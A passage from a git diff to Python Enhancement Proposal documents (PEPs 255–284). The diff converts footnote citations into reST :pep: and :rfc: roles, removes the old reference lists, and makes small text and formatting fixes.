pleasant solutions, notably iterators in Sather [4], which were -inspired by iterators in CLU; and generators in Icon [5], a novel language +provide pleasant solutions, notably iterators in Sather [2]_, which were +inspired by iterators in CLU; and generators in Icon [3]_, a novel language where every expression *is a generator*. There are differences among these, but the basic idea is the same: provide a kind of function that can return an intermediate result ("the next value") to its caller, but maintaining the @@ -111,7 +111,7 @@ The same kind of approach applies to many producer/consumer functions. For example, ``tokenize.py`` could yield the next token instead of invoking a callback function with it as argument, and tokenize clients could iterate over the tokens in a natural way: a Python generator is a kind of Python -iterator [1]_, but of an especially powerful kind. +:pep:`iterator <234>`, but of an especially powerful kind. Specification: Yield @@ -121,13 +121,13 @@ A new statement is introduced:: yield_stmt: "yield" expression_list -``yield`` is a new keyword, so a ``future`` statement [8]_ is needed to phase +``yield`` is a new keyword, so a ``future`` statement (:pep:`236`) is needed to phase this in: in the initial release, a module desiring to use generators must include the line:: from __future__ import generators -near the top (see PEP 236 [8]_) for details). Modules using the identifier +near the top (see :pep:`236`) for details). Modules using the identifier ``yield`` without a ``future`` statement will trigger warnings. In the following release, ``yield`` will be a language keyword and the ``future`` statement will no longer be needed. @@ -140,7 +140,7 @@ function is an ordinary function object in all respects, but has the new When a generator function is called, the actual arguments are bound to function-local formal argument names in the usual way, but no code in the body of the function is executed. Instead a generator-iterator object is returned; -this conforms to the iterator protocol [6]_, so in particular can be used in +this conforms to the :pep:`iterator protocol <234>`, so in particular can be used in for-loops in a natural way. Note that when the intent is clear from context, the unqualified name "generator" may be used to refer either to a generator-function or a generator-iterator. @@ -474,37 +474,26 @@ Reference Implementation ======================== The current implementation, in a preliminary state (no docs, but well tested -and solid), is part of Python's CVS development tree [9]_. Using this requires +and solid), is part of Python's CVS development tree [5]_. Using this requires that you build Python from source. -This was derived from an earlier patch by Neil Schemenauer [7]_. +This was derived from an earlier patch by Neil Schemenauer [4]_. Footnotes and References ======================== -.. [1] PEP 234, Iterators, Yee, Van Rossum - http://www.python.org/dev/peps/pep-0234/ +.. [1] http://www.stackless.com/ -.. [2] http://www.stackless.com/ - -.. [3] PEP 219, Stackless Python, McMillan - http://www.python.org/dev/peps/pep-0219/ - -.. [4] "Iteration Abstraction in Sather" +.. [2] "Iteration Abstraction in Sather" Murer, Omohundro, Stoutamire and Szyperski http://www.icsi.berkeley.edu/~sather/Publications/toplas.html -.. [5] http://www.cs.arizona.edu/icon/ - -.. [6] The concept of iterators is described in PEP 234. See [1] above. - -.. [7] http://python.ca/nas/python/generator.diff +.. [3] http://www.cs.arizona.edu/icon/ -.. [8] PEP 236, Back to the __future__, Peters - http://www.python.org/dev/peps/pep-0236/ +.. [4] http://python.ca/nas/python/generator.diff -.. [9] To experiment with this implementation, check out Python from CVS +.. [5] To experiment with this implementation, check out Python from CVS according to the instructions at http://sf.net/cvs/?group_id=5470 Note that the std test ``Lib/test/test_generators.py`` contains many examples, including all those in this PEP. diff --git a/pep-0256.txt b/pep-0256.txt index ccb5b715e42..9e9a66e279b 100644 --- a/pep-0256.txt +++ b/pep-0256.txt @@ -3,7 +3,7 @@ Title: Docstring Processing System Framework Version: $Revision$ Last-Modified: $Date$ Author: David Goodger -Discussions-To: +Discussions-To: doc-sig@python.org Status: Rejected Type: Standards Track Content-Type: text/x-rst @@ -48,27 +48,27 @@ have broken up the issues in order to deal with each of them in isolation, or as close as possible. The individual aspects and associated PEPs are as follows: -* Docstring syntax. PEP 287, "reStructuredText Docstring Format" - [#PEP-287]_, proposes a syntax for Python docstrings, PEPs, and +* Docstring syntax. :pep:`287`, "reStructuredText Docstring Format", + proposes a syntax for Python docstrings, PEPs, and other uses. * Docstring semantics consist of at least two aspects: - Conventions: the high-level structure of docstrings. Dealt with - in PEP 257, "Docstring Conventions" [#PEP-257]_. + in :pep:`257`, "Docstring Conventions". - Methodology: rules for the informational content of docstrings. Not addressed. -* Processing mechanisms. This PEP (PEP 256) outlines the high-level +* Processing mechanisms. This PEP (:pep:`256`) outlines the high-level issues and specification of an abstract docstring processing system - (DPS). PEP 258, "Docutils Design Specification" [#PEP-258]_, is an + (DPS). :pep:`258`, "Docutils Design Specification", is an overview of the design and implementation of one DPS under development. * Output styles: developers want the documentation generated from their source code to look good, and there are many different ideas - about what that means. PEP 258 touches on "Stylist Transforms". + about what that means. :pep:`258` touches on "Stylist Transforms". This aspect of docstring processing has yet to be fully explored. By separating out the issues, we can form consensus more easily @@ -149,7 +149,7 @@ deficiencies, including: There are security issues involved with importing untrusted code. Also, information from the source is lost when importing, such as comments, "additional docstrings" (string literals in non-docstring - contexts; see PEP 258 [#PEP-258]_), and the order of definitions. + contexts; see :pep:`258`), and the order of definitions. The functionality proposed in this PEP could be added to or used by PyDoc when serving HTML pages. The proposed docstring processing @@ -177,7 +177,7 @@ The docstring processing system framework is broken up as follows: - First line is a one-line synopsis. - PEP 257 [#PEP-257]_ documents some of these issues. + :pep:`257` documents some of these issues. 2. Docstring processing system design specification. Documents issues such as: @@ -206,11 +206,11 @@ The docstring processing system framework is broken up as follows: files, or objects in memory). These issues are applicable to any docstring processing system - implementation. PEP 258 [#PEP-258]_ documents these issues. + implementation. :pep:`258` documents these issues. 3. Docstring processing system implementation. -4. Input markup specifications: docstring syntax. PEP 287 [#PEP-287]_ +4. Input markup specifications: docstring syntax. :pep:`287` proposes a standard syntax. 5. Input parser implementations. @@ -241,15 +241,6 @@ http://docutils.sourceforge.net/. References and Footnotes ======================== -.. [#PEP-287] PEP 287, reStructuredText Docstring Format, Goodger - (http://www.python.org/dev/peps/pep-0287/) - -.. [#PEP-257] PEP 257, Docstring Conventions, Goodger, Van Rossum - (http://www.python.org/dev/peps/pep-0257/) - -.. [#PEP-258] PEP 258, Docutils Design Specification, Goodger - (http://www.python.org/dev/peps/pep-0258/) - .. _Literate Programming: http://www.literateprogramming.com/ .. _POD: http://www.perldoc.com/perl5.6/pod/perlpod.html diff --git a/pep-0257.txt b/pep-0257.txt index c70aaa35967..0074cd05b0b 100644 --- a/pep-0257.txt +++ b/pep-0257.txt @@ -36,7 +36,7 @@ conventions, not laws or syntax. If you violate these conventions, the worst you'll get is some dirty looks. But some software (such as the Docutils_ docstring processing -system [1]_ [2]_) will be aware of the conventions, so following them +system :pep:`256`, :pep:`258`) will be aware of the conventions, so following them will get you the best results. @@ -69,7 +69,7 @@ extracted by software tools: 2. String literals occurring immediately after another docstring are called "additional docstrings". -Please see PEP 258, "Docutils Design Specification" [2]_, for a +Please see :pep:`258`, "Docutils Design Specification", for a detailed description of attribute and additional docstrings. For consistency, always use ``"""triple double quotes"""`` around @@ -224,14 +224,14 @@ of the algorithm:: # and split into a list of lines: lines = docstring.expandtabs().splitlines() # Determine minimum indentation (first line doesn't count): - indent = sys.maxint + indent = sys.maxsize for line in lines[1:]: stripped = line.lstrip() if stripped: indent = min(indent, len(line) - len(stripped)) # Remove indentation (first line is special): trimmed = [lines[0].strip()] - if indent < sys.maxint: + if indent < sys.maxsize: for line in lines[1:]: trimmed.append(line[indent:].rstrip()) # Strip off trailing and leading blank lines: @@ -276,17 +276,8 @@ Once trimmed, these docstrings are equivalent:: References and Footnotes ======================== -.. [1] PEP 256, Docstring Processing System Framework, Goodger - (http://www.python.org/dev/peps/pep-0256/) - -.. [2] PEP 258, Docutils Design Specification, Goodger - (http://www.python.org/dev/peps/pep-0258/) - .. _Docutils: http://docutils.sourceforge.net/ -.. _Python Style Guide: - http://www.python.org/dev/peps/pep-0008/ - .. _Doc-SIG: http://www.python.org/sigs/doc-sig/ @@ -299,8 +290,8 @@ This document has been placed in the public domain. Acknowledgements ================ -The "Specification" text comes mostly verbatim from the `Python Style -Guide`_ essay by Guido van Rossum. +The "Specification" text comes mostly verbatim from :pep:`8` +by Guido van Rossum. This document borrows ideas from the archives of the Python Doc-SIG_. Thanks to all members past and present. diff --git a/pep-0258.txt b/pep-0258.txt index c6dc60099e2..4f793a0160c 100644 --- a/pep-0258.txt +++ b/pep-0258.txt @@ -3,7 +3,7 @@ Title: Docutils Design Specification Version: $Revision$ Last-Modified: $Date$ Author: David Goodger -Discussions-To: +Discussions-To: doc-sig@python.org Status: Rejected Type: Standards Track Content-Type: text/x-rst @@ -27,8 +27,8 @@ standard library. This PEP documents design issues and implementation details for Docutils, a Python Docstring Processing System (DPS). The rationale -and high-level concepts of a DPS are documented in PEP 256, "Docstring -Processing System Framework" [#PEP-256]_. Also see PEP 256 for a +and high-level concepts of a DPS are documented in :pep:`256`, "Docstring +Processing System Framework". Also see :pep:`256` for a "Road Map to the Docstring PEPs". Docutils is being designed modularly so that any of its components can @@ -142,11 +142,11 @@ Examples: * Python Source: See `Python Source Reader`_ below. This Reader is currently in development in the Docutils sandbox. -* Email: RFC-822 headers, quoted excerpts, signatures, MIME parts. +* Email: :rfc:`822` headers, quoted excerpts, signatures, MIME parts. -* PEP: RFC-822 headers, "PEP xxxx" and "RFC xxxx" conversion to URIs. +* PEP: :rfc:`822` headers, "PEP xxxx" and "RFC xxxx" conversion to URIs. The "PEP Reader" has been implemented in module - ``docutils.readers.pep``; see PEP 287 and PEP 12. + ``docutils.readers.pep``; see :pep:`287` and :pep:`12`. * Wiki: Global reference lookups of "wiki links" incorporated into transforms. (CamelCase only or unrestricted?) Lazy @@ -711,7 +711,7 @@ slight performance hit. Attribute Docstrings '''''''''''''''''''' -(This is a simplified version of PEP 224 [#PEP-224]_.) +(This is a simplified version of :pep:`224`.) A string literal immediately following an assignment statement is interpreted by the docstring extraction machinery as the docstring of @@ -787,7 +787,7 @@ Examples:: Additional Docstrings ''''''''''''''''''''' -(This idea was adapted from PEP 216 [#PEP-216]_.) +(This idea was adapted from :pep:`216`.) Many programmers would like to make extensive use of docstrings for API documentation. However, docstrings do take up space in the @@ -865,10 +865,10 @@ established. The ``__docformat__`` string may contain an optional second field, separated from the format name (first field) by a single space: a -case-insensitive language identifier as defined in RFC 1766. A +case-insensitive language identifier as defined in :rfc:`1766`. A typical language identifier consists of a 2-letter language code from -`ISO 639`_ (3-letter codes used only if no 2-letter code exists; RFC -1766 is currently being revised to allow 3-letter codes). If no +`ISO 639`_ (3-letter codes used only if no 2-letter code exists; +:rfc:`1766` is currently being revised to allow 3-letter codes). If no language identifier is specified, the default is "en" for English. The language identifier is passed to the parser and can be used for language-dependent markup features. @@ -950,15 +950,6 @@ stylist code will lower the barrier considerably. References and Footnotes ========================== -.. [#PEP-256] PEP 256, Docstring Processing System Framework, Goodger - (http://www.python.org/dev/peps/pep-0256/) - -.. [#PEP-224] PEP 224, Attribute Docstrings, Lemburg - (http://www.python.org/dev/peps/pep-0224/) - -.. [#PEP-216] PEP 216, Docstring Format, Zadka - (http://www.python.org/dev/peps/pep-0216/) - .. _docutils.dtd: http://docutils.sourceforge.net/docs/ref/docutils.dtd diff --git a/pep-0261.txt b/pep-0261.txt index 1614364e170..14ef780d46b 100644 --- a/pep-0261.txt +++ b/pep-0261.txt @@ -201,7 +201,7 @@ There is a new configure option: ===================== ============================================ --enable-unicode=ucs2 configures a narrow ``Py_UNICODE``, and uses wchar_t if it fits ---enable-unicode=ucs4 configures a wide `Py_UNICODE``, and uses +--enable-unicode=ucs4 configures a wide ``Py_UNICODE``, and uses wchar_t if it fits --enable-unicode same as "=ucs2" --disable-unicode entirely remove the Unicode functionality. diff --git a/pep-0262.txt b/pep-0262.txt index d427e80c381..116d5e9db39 100644 --- a/pep-0262.txt +++ b/pep-0262.txt @@ -5,6 +5,7 @@ Last-Modified: $Date$ Author: A.M. Kuchling Status: Deferred Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 08-Jul-2001 Post-History: 27-Mar-2002 @@ -88,8 +89,8 @@ Each section of the file is used for a different purpose. PKG-INFO section ---------------- -An initial set of RFC-822 headers containing the distribution -information for a file, as described in PEP 241, "Metadata for +An initial set of :rfc:`822` headers containing the distribution +information for a file, as described in :pep:`241`, "Metadata for Python Software Packages". FILES section diff --git a/pep-0263.txt b/pep-0263.txt index 7aff27ffdc0..f179bf1aa15 100644 --- a/pep-0263.txt +++ b/pep-0263.txt @@ -3,7 +3,7 @@ Title: Defining Python Source Code Encodings Version: $Revision$ Last-Modified: $Date$ Author: mal@lemburg.com (Marc-André Lemburg), - martin@v.loewis.de (Martin von Löwis) + martin@v.loewis.de (Martin von Löwis) Status: Final Type: Standards Track Content-Type: text/x-rst diff --git a/pep-0264.txt b/pep-0264.txt index 77d94d26eb9..bb53e97a5a1 100644 --- a/pep-0264.txt +++ b/pep-0264.txt @@ -15,13 +15,13 @@ Post-History: 30-Jul-2001 Abstract ======== -As noted in PEP 236, there is no clear way for "simulated +As noted in :pep:`236`, there is no clear way for "simulated interactive shells" to simulate the behaviour of ``__future__`` statements in "real" interactive shells, i.e. have ``__future__`` statements' effects last the life of the shell. The PEP also takes the opportunity to clean up the other -unresolved issue mentioned in PEP 236, the inability to stop +unresolved issue mentioned in :pep:`236`, the inability to stop ``compile()`` inheriting the effect of future statements affecting the code calling ``compile()``. diff --git a/pep-0267.txt b/pep-0267.txt index 364eb0c1d80..f55d22d96e4 100644 --- a/pep-0267.txt +++ b/pep-0267.txt @@ -15,7 +15,7 @@ Deferral ======== While this PEP is a nice idea, no-one has yet emerged to do the work of -hashing out the differences between this PEP, PEP 266 and PEP 280. +hashing out the differences between this PEP, :pep:`266` and :pep:`280`. Hence, it is being deferred. @@ -258,7 +258,7 @@ implementation could provide warnings. Related PEPs ============ -PEP 266, Optimizing Global Variable/Attribute Access, proposes a +:pep:`266`, Optimizing Global Variable/Attribute Access, proposes a different mechanism for optimizing access to global variables as well as attributes of objects. The mechanism uses two new opcodes ``TRACK_OBJECT`` and ``UNTRACK_OBJECT`` to create a slot in the local diff --git a/pep-0268.txt b/pep-0268.txt index a27d7e5178e..0d2b72debf7 100644 --- a/pep-0268.txt +++ b/pep-0268.txt @@ -30,8 +30,8 @@ Rationale ========= Python has been quite popular as a result of its "batteries included" -positioning. One of the most heavily used protocols, HTTP (see RFC -2616), has been included with Python for years (``httplib``). However, +positioning. One of the most heavily used protocols, HTTP (see +:rfc:`2616`), has been included with Python for years (``httplib``). However, this support has not kept up with the full needs and requirements of many HTTP-based applications and systems. In addition, new protocols based on HTTP, such as WebDAV and XML-RPC, are becoming useful and are @@ -79,7 +79,7 @@ The mixin will delegate the authentication process to one or more "authenticator" objects, allowing multiple connections to share authenticators. The use of a separate object allows for a long term connection to an authentication system (e.g. LDAP). An authenticator -for the Basic and Digest mechanisms (see RFC 2617) will be +for the Basic and Digest mechanisms (see :rfc:`2617`) will be provided. User-supplied authenticator subclasses can be registered and used by the connections. @@ -118,7 +118,7 @@ cached (into the Credentials object; see below), the caller can simply regenerate the request. The mixin will attach the appropriate credentials. -A "protection space" (see RFC 2617, section 1.2) is defined as a tuple +A "protection space" (see :rfc:`2617`, section 1.2) is defined as a tuple of the host, port, and authentication realm. When a request is initially sent to an HTTP server, we do not know the authentication realm (the realm is only returned when authentication fails). However, @@ -180,7 +180,7 @@ classes (the mixin may possibly work with the HTTP and HTTPS compatibility classes, but that is not a requirement). The mixin provides methods to perform the various HTTP methods defined -by HTTP in RFC 2616, and by WebDAV in RFC 2518. +by HTTP in :rfc:`2616`, and by WebDAV in :rfc:`2518`. A custom response object is used to decode ``207 (Multi-Status)`` responses. The response object will use the standard library's xml diff --git a/pep-0269.txt b/pep-0269.txt index 10ddf64633a..45229076e21 100644 --- a/pep-0269.txt +++ b/pep-0269.txt @@ -198,8 +198,7 @@ References .. [3] Hylton, Jeremy. http://docs.python.org/library/compiler.html -.. [4] Pelletier, Michel. "Python Interface Syntax", PEP-245. - http://www.python.org/dev/peps/pep-0245/ +.. [4] Pelletier, Michel. "Python Interface Syntax", :pep:`245` .. [5] The Python Types-SIG http://www.python.org/sigs/types-sig/ diff --git a/pep-0270.txt b/pep-0270.txt index ad8315718d6..2a5a790c98e 100644 --- a/pep-0270.txt +++ b/pep-0270.txt @@ -25,7 +25,7 @@ This PEP is withdrawn by the author. He writes: a matter of choosing a different data structure: a set instead of a list. -As described in PEP 218, sets are being added to the standard +As described in :pep:`218`, sets are being added to the standard library for Python 2.3. diff --git a/pep-0272.txt b/pep-0272.txt index d553872391e..b7e2df854b0 100644 --- a/pep-0272.txt +++ b/pep-0272.txt @@ -47,7 +47,7 @@ SP 800-38A [1]_. Descriptions of the first three feedback modes can also be found in Bruce Schneier's book *Applied Cryptography* [2]_. (The numeric value 4 is reserved for MODE_PGP, a variant of CFB -described in RFC 2440: "OpenPGP Message Format" [3]_. This mode +described in :rfc:`2440`: "OpenPGP Message Format". This mode isn't considered important enough to make it worth requiring it for all block encryption ciphers, though supporting it is a nice extra feature.) @@ -209,9 +209,6 @@ References .. [2] Applied Cryptography -.. [3] RFC2440: "OpenPGP Message Format" (http://rfc2440.x42.com, - http://www.faqs.org/rfcs/rfc2440.html) - Changes ======= diff --git a/pep-0273.txt b/pep-0273.txt index 5855a4562ae..7565d691e28 100644 --- a/pep-0273.txt +++ b/pep-0273.txt @@ -26,7 +26,7 @@ Note Zip imports were added to Python 2.3, but the final implementation uses an approach different from the one described in this PEP. The 2.3 implementation is SourceForge patch #652586 [1]_, which adds -new import hooks described in PEP 302. +new import hooks described in :pep:`302`. The rest of this PEP is therefore only of historical interest. @@ -210,8 +210,8 @@ A newer version (updated for recent CVS by Paul Moore) is 645650. Superseded by patch 652586 and current CVS. [3]_ A competing implementation by Just van Rossum is 652586, which is -the basis for the final implementation of PEP 302. PEP 273 has -been implemented using PEP 302's import hooks. [1]_ +the basis for the final implementation of :pep:`302`. :pep:`273` has +been implemented using :pep:`302`'s import hooks. [1]_ References diff --git a/pep-0274.txt b/pep-0274.txt index 10e5639e710..b5deb76012e 100644 --- a/pep-0274.txt +++ b/pep-0274.txt @@ -7,14 +7,14 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 25-Oct-2001 -Python-Version: 2.7, 3.0 (originally 2.3) +Python-Version: 2.7, 3.0 Post-History: 29-Oct-2001 Abstract ======== -PEP 202 introduces a syntactical extension to Python called the +:pep:`202` introduces a syntactical extension to Python called the "list comprehension". This PEP proposes a similar syntactical extension called the "dictionary comprehension" or "dict comprehension" for short. You can use dict comprehensions in ways diff --git a/pep-0275.txt b/pep-0275.txt index 4922a2131d4..4b5d397f8e8 100644 --- a/pep-0275.txt +++ b/pep-0275.txt @@ -13,7 +13,7 @@ Post-History: Rejection Notice ================ -A similar PEP for Python 3000, PEP 3103 [2]_, was already rejected, +A similar PEP for Python 3000, :pep:`3103`, was already rejected, so this proposal has no chance of being accepted either. Abstract @@ -353,8 +353,6 @@ References .. [1] https://sourceforge.net/tracker/index.php?func=detail&aid=481118&group_id=5470&atid=305470 -.. [2] http://www.python.org/dev/peps/pep-3103 - Copyright ========= diff --git a/pep-0276.txt b/pep-0276.txt index 37fa385a1f1..3fd0c6b4e5a 100644 --- a/pep-0276.txt +++ b/pep-0276.txt @@ -14,7 +14,7 @@ Post-History: Abstract ======== -Python 2.1 added new functionality to support iterators [1]_. +Python 2.1 added new functionality to support iterators (:pep:`234`). Iterators have proven to be useful and convenient in many coding situations. It is noted that the implementation of Python's for-loop control structure uses the iterator protocol as of @@ -152,7 +152,7 @@ idiom is: And from time to time proposals are put forth for ways in which Python could provide a better mechanism for this idiom. Recent -examples include PEP 204, "Range Literals", and PEP 212, "Loop +examples include :pep:`204`, "Range Literals", and :pep:`212`, "Loop Counter Iteration". Most often, such proposal include changes to Python's syntax and @@ -263,13 +263,13 @@ Tim Peters has pointed out two such examples: Issues ====== -Extensive discussions concerning PEP 276 on the Python interest +Extensive discussions concerning :pep:`276` on the Python interest mailing list suggests a range of opinions: some in favor, some neutral, some against. Those in favor tend to agree with the claims above of the usefulness, convenience, ease of learning, and simplicity of a simple iterator for integers. -Issues with PEP 276 include: +Issues with :pep:`276` include: - Using range/xrange is fine as is. @@ -325,7 +325,7 @@ Issues with PEP 276 include: noted above is an a case in point. Response: From the author's perspective the examples of the - above that were identified in the PEP 276 discussions did + above that were identified in the :pep:`276` discussions did not appear to be ones that would be accidentally misused in ways that would lead to subtle and hard-to-detect errors. @@ -376,7 +376,7 @@ Issues with PEP 276 include: - Why not propose even bigger changes? -The majority of disagreement with PEP 276 came from those who +The majority of disagreement with :pep:`276` came from those who favor much larger changes to Python to address the more general problem of specifying a sequence of integers where such a specification is general enough to handle the starting value, @@ -403,10 +403,10 @@ These include: It should be noted that there was much debate but not an overwhelming consensus for any of these larger-scale suggestions. -Clearly, PEP 276 does not propose such a large-scale change +Clearly, :pep:`276` does not propose such a large-scale change and instead focuses on a specific problem area. Towards the end of the discussion period, several posters expressed favor -for the narrow focus and simplicity of PEP 276 vis-a-vis the more +for the narrow focus and simplicity of :pep:`276` vis-a-vis the more ambitious suggestions that were advanced. There did appear to be consensus for the need for a PEP for any such larger-scale, alternative suggestion. In light of this recognition, details of @@ -422,19 +422,6 @@ int with an ``__iter__`` method (written in Python) as a means to test out the ideas in this proposal, however. -References -========== - -.. [1] PEP 234, Iterators - http://www.python.org/dev/peps/pep-0234/ - -.. [2] PEP 204, Range Literals - http://www.python.org/dev/peps/pep-0204/ - -.. [3] PEP 212, Loop Counter Iteration - http://www.python.org/dev/peps/pep-0212/ - - Copyright ========= diff --git a/pep-0279.txt b/pep-0279.txt index 8a12fbc41b3..aa617269fe9 100644 --- a/pep-0279.txt +++ b/pep-0279.txt @@ -24,17 +24,17 @@ Rationale ========= Python 2.2 introduced the concept of an iterable interface as -proposed in PEP 234 [3]_. The ``iter()`` factory function was provided +proposed in :pep:`234`. The ``iter()`` factory function was provided as common calling convention and deep changes were made to use iterators as a unifying theme throughout Python. The unification came in the form of establishing a common iterable interface for mappings, sequences, and file objects. -Generators, as proposed in PEP 255 [1]_, were introduced as a means +Generators, as proposed in :pep:`255`, were introduced as a means for making it easier to create iterators, especially ones with complex internal execution or variable states. The availability of generators makes it possible to improve on the loop counter -ideas in PEP 212 [2]_. Those ideas provided a clean syntax for +ideas in :pep:`212`. Those ideas provided a clean syntax for iteration with indices and values, but did not apply to all iterable objects. Also, that approach did not have the memory friendly benefit provided by generators which do not evaluate the @@ -73,13 +73,13 @@ Specification for a new built-in yield (i, it.next()) i += 1 -Note A: PEP 212 Loop Counter Iteration [2]_ discussed several +Note A: :pep:`212` Loop Counter Iteration discussed several proposals for achieving indexing. Some of the proposals only work for lists unlike the above function which works for any generator, xrange, sequence, or iterable object. Also, those proposals were presented and evaluated in the world prior to Python 2.2 which did not include generators. As a result, the non-generator version in -PEP 212 had the disadvantage of consuming memory with a giant list +:pep:`212` had the disadvantage of consuming memory with a giant list of tuples. The generator version presented here is fast and light, works with all iterables, and allows users to abandon the sequence in mid-stream with no loss of computation effort. @@ -197,19 +197,6 @@ Author response: the ``itertools`` module. -References -========== - -.. [1] PEP 255 Simple Generators - http://www.python.org/dev/peps/pep-0255/ - -.. [2] PEP 212 Loop Counter Iteration - http://www.python.org/dev/peps/pep-0212/ - -.. [3] PEP 234 Iterators - http://www.python.org/dev/peps/pep-0234/ - - Copyright ========= diff --git a/pep-0280.txt b/pep-0280.txt index 843d6d8fcde..3149b78e6bc 100644 --- a/pep-0280.txt +++ b/pep-0280.txt @@ -15,7 +15,7 @@ Deferral ======== While this PEP is a nice idea, no-one has yet emerged to do the work of -hashing out the differences between this PEP, PEP 266 and PEP 267. +hashing out the differences between this PEP, :pep:`266` and :pep:`267`. Hence, it is being deferred. @@ -23,8 +23,8 @@ Abstract ======== This PEP describes yet another approach to optimizing access to -module globals, providing an alternative to PEP 266 (Optimizing -Global Variable/Attribute Access by Skip Montanaro) and PEP 267 +module globals, providing an alternative to :pep:`266` (Optimizing +Global Variable/Attribute Access by Skip Montanaro) and :pep:`267` (Optimized Access to Module Namespaces by Jeremy Hylton). The expectation is that eventually one approach will be picked and diff --git a/pep-0281.txt b/pep-0281.txt index 7d35a6ae832..ea8d386dc87 100644 --- a/pep-0281.txt +++ b/pep-0281.txt @@ -16,16 +16,16 @@ Abstract This PEP describes yet another way of exposing the loop counter in for-loops. It basically proposes that the functionality of the -function ``indices()`` from PEP 212 [1]_ be included in the existing +function ``indices()`` from :pep:`212` be included in the existing functions ``range()`` and ``xrange()``. Pronouncement ============= -In commenting on PEP 279's ``enumerate()`` function, this PEP's author -offered, "I'm quite happy to have it make PEP 281 obsolete." -Subsequently, PEP 279 was accepted into Python 2.3. +In commenting on :pep:`279`'s ``enumerate()`` function, this PEP's author +offered, "I'm quite happy to have it make :pep:`281` obsolete." +Subsequently, :pep:`279` was accepted into Python 2.3. On 17 June 2005, the BDFL concurred with it being obsolete and hereby rejected the PEP. For the record, he found some of the @@ -116,7 +116,7 @@ Example:: print num # The line itself is not accessible A more controversial alternative (to deal with this) would be to -let ``range()`` behave like the function ``irange()`` of PEP 212 when +let ``range()`` behave like the function ``irange()`` of :pep:`212` when supplied with a sequence. Example:: @@ -136,13 +136,6 @@ the case of lazy iteration with ``xrange``). The author does not believe that this is a significant problem. -References and Footnotes -======================== - -.. [1] PEP 212, Loop Counter Iteration - http://www.python.org/dev/peps/pep-0212/ - - Copyright ========= diff --git a/pep-0282.txt b/pep-0282.txt index aceb57822c9..9b143f90853 100644 --- a/pep-0282.txt +++ b/pep-0282.txt @@ -2,7 +2,8 @@ PEP: 282 Title: A Logging System Version: $Revision$ Last-Modified: $Date$ -Author: vinay_sajip at red-dove.com (Vinay Sajip), trentm@activestate.com (Trent Mick) +Author: vinay_sajip at red-dove.com (Vinay Sajip), + trentm@activestate.com (Trent Mick) Status: Final Type: Standards Track Content-Type: text/x-rst diff --git a/pep-0283.txt b/pep-0283.txt index 0ee2c6d75a9..2d2ed5961a5 100644 --- a/pep-0283.txt +++ b/pep-0283.txt @@ -50,13 +50,13 @@ for more, and of course ``Misc/NEWS`` for the full list. - Tk 8.4 update. -- The ``bool`` type and its constants, ``True`` and ``False`` (PEP 285). +- The ``bool`` type and its constants, ``True`` and ``False`` (:pep:`285`). - ``PyMalloc`` was greatly enhanced and is enabled by default. -- Universal newline support (PEP 278). +- Universal newline support (:pep:`278`). -- PEP 263 Defining Python Source Code Encodings, Lemburg +- :pep:`263` Defining Python Source Code Encodings, Lemburg Implemented (at least phase 1, which is all that's planned for 2.3). @@ -70,7 +70,7 @@ for more, and of course ``Misc/NEWS`` for the full list. - Timeout sockets. https://bugs.python.org/issue555085 -- Stage B0 of the ``int``/``long`` integration (PEP 237). This means +- Stage B0 of the ``int``/``long`` integration (:pep:`237`). This means issuing a ``FutureWarning`` about situations where ``hex`` or ``oct`` conversions or left shifts returns a different value for an ``int`` than for a ``long`` with the same value. The semantics do *not* @@ -96,7 +96,7 @@ for more, and of course ``Misc/NEWS`` for the full list. - Warn for assignment to ``None`` (in various forms). -- PEP 218 Adding a Built-In Set Object Type, Wilson +- :pep:`218` Adding a Built-In Set Object Type, Wilson Alex Martelli contributed a new version of Greg Wilson's prototype, and I've reworked that quite a bit. It's in the @@ -104,12 +104,12 @@ for more, and of course ``Misc/NEWS`` for the full list. may still change until the first beta release. (There are no plans to make this a built-in type, for now.) -- PEP 293 Codec error handling callbacks, Dörwald +- :pep:`293` Codec error handling callbacks, Dörwald Fully implemented. Error handling in ``unicode.encode`` or ``str.decode`` can now be customized. -- PEP 282 A Logging System, Mick +- :pep:`282` A Logging System, Mick Vinay Sajip's implementation has been packagized and imported. (Documentation and unit tests still pending.) @@ -130,23 +130,23 @@ for more, and of course ``Misc/NEWS`` for the full list. prototype was coded in ``nondist/sandbox/datetime/``. Tim Peters has finished the C implementation and checked it in. -- PEP 273 Import Modules from Zip Archives, Ahlstrom +- :pep:`273` Import Modules from Zip Archives, Ahlstrom - Implemented as a part of the PEP 302 implementation work. + Implemented as a part of the :pep:`302` implementation work. -- PEP 302 New Import Hooks, JvR +- :pep:`302` New Import Hooks, JvR Implemented (though the 2.3a1 release contained some bugs that have been fixed post-release). -- A new pickling protocol. See PEP 307. +- A new pickling protocol. See :pep:`307`. -- PEP 305 (CSV File API, by Skip Montanaro et al.) is in; this is +- :pep:`305` (CSV File API, by Skip Montanaro et al.) is in; this is the csv module. - Raymond Hettinger's ``itertools`` module is in. -- PEP 311 (Simplified GIL Acquisition for Extensions, by Mark +- :pep:`311` (Simplified GIL Acquisition for Extensions, by Mark Hammond) has been included in beta 1. - Two new ``PyArg_Parse*()`` format codes, 'k' returns an unsigned C @@ -236,7 +236,7 @@ Features that did not make it into Python 2.3 I believe this is dead now. -- PEP 304 (Controlling Generation of Bytecode Files by Montanaro) +- :pep:`304` (Controlling Generation of Bytecode Files by Montanaro) seems to have lost steam. - For a class defined inside another class, the ``__name__`` should be @@ -272,7 +272,7 @@ Features that did not make it into Python 2.3 It seems that this is never going to be resolved. -- PEP 269 Pgen Module for Python, Riehl +- :pep:`269` Pgen Module for Python, Riehl (Some necessary changes are in; the ``pgen`` module itself needs to mature more.) @@ -283,11 +283,11 @@ Features that did not make it into Python 2.3 to champion it. (Some changes to distutils to support this are in, at least.) -- PEP 266 Optimizing Global Variable/Attribute Access, Montanaro +- :pep:`266` Optimizing Global Variable/Attribute Access, Montanaro - PEP 267 Optimized Access to Module Namespaces, Hylton + :pep:`267` Optimized Access to Module Namespaces, Hylton - PEP 280 Optimizing access to globals, van Rossum + :pep:`280` Optimizing access to globals, van Rossum These are basically three friendly competing proposals. Jeremy has made a little progress with a new compiler, but it's going @@ -305,7 +305,7 @@ Features that did not make it into Python 2.3 Not much enthusiasm I believe. -- PEP 286 Enhanced Argument Tuples, von Loewis +- :pep:`286` Enhanced Argument Tuples, von Loewis I haven't had the time to review this thoroughly. It seems a deep optimization hack (also makes better correctness guarantees diff --git a/pep-0284.txt b/pep-0284.txt index 2d3355bdd15..48c476f2393 100644 --- a/pep-0284.txt +++ b/pep-0284.txt @@ -35,7 